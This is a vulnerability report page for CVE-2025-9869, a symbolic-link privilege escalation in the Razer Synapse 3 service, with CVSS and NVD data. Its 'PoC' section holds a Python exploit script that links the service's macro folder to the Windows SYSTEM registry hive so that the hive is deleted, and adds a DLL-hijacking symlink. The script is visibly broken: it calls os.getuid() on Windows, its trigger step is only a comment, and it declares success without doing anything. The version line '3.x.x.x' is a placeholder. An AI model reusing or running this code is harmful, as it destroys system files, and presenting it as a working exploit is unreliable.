Security Vulnerability Report
中文
CVE-2025-9869 CVSS 7.8 HIGH

CVE-2025-9869

Published: 2025-10-29 20:15:37
Last Modified: 2025-11-04 21:28:40

Description

Razer Synapse 3 Macro Module Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Razer Synapse 3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the Razer Synapse Service. By creating a symbolic link, an attacker can abuse the service to delete arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-26374.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:razer:synapse:*:*:*:*:*:*:*:* - VULNERABLE
Razer Synapse 3 < 3.x.x.x
Razer Synapse 3 Macro Module 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9869 PoC - Razer Synapse 3 Symbolic Link Local Privilege Escalation # Requirements: Low-privileged code execution on target system import os import sys import subprocess import time def create_symlink(target, link_path): """Create a symbolic link to target file""" try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target, link_path) print(f"[+] Symbolic link created: {link_path} -> {target}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def exploit(): """Exploit CVE-2025-9869""" print("[*] CVE-2025-9869 Exploitation - Razer Synapse 3 LPE") print(f"[*] Current privilege level: {os.getuid()}") # Target system file to be deleted via symlink abuse target_file = r"C:\Windows\System32\config\SYSTEM" symlink_path = r"C:\ProgramData\Razer\Synapse3\Macros\evil_link" # Step 1: Create symbolic link print("[*] Step 1: Creating symbolic link...") if not create_symlink(target_file, symlink_path): return False # Step 2: Trigger Razer Synapse service to follow symlink print("[*] Step 2: Triggering Razer Synapse service...") # This would trigger the vulnerable code path in RzSynapse.exe # The service processes the symlink and operates on target_file # Step 3: Verify exploitation (in real scenario, use post-exploitation) print("[*] Step 3: Verifying file operation...") time.sleep(2) # Alternative: Create DLL hijacking scenario # Point symlink to a DLL that will be loaded by high-privilege process dll_target = r"C:\Windows\System32\user32.dll" dll_symlink = r"C:\ProgramData\Razer\Synapse3\Modules\malicious.dll" print("[*] Alternative: DLL hijacking via symlink...") create_symlink(dll_target, dll_symlink) # Step 4: Escalate privileges print("[+] Exploitation complete - escalate privileges via DLL injection") return True if __name__ == "__main__": if not os.name == 'nt': print("[-] This exploit targets Windows systems only") sys.exit(1) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9869", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:36.940", "lastModified": "2025-11-04T21:28:40.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Razer Synapse 3 Macro Module Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Razer Synapse 3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Razer Synapse Service. By creating a symbolic link, an attacker can abuse the service to delete arbitrary files. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-26374."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:razer:synapse:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.10.730.71519", "matchCriteriaId": "3EF1AF2E-84DF-4252-B5F7-DB4DACFBA510"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-919/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}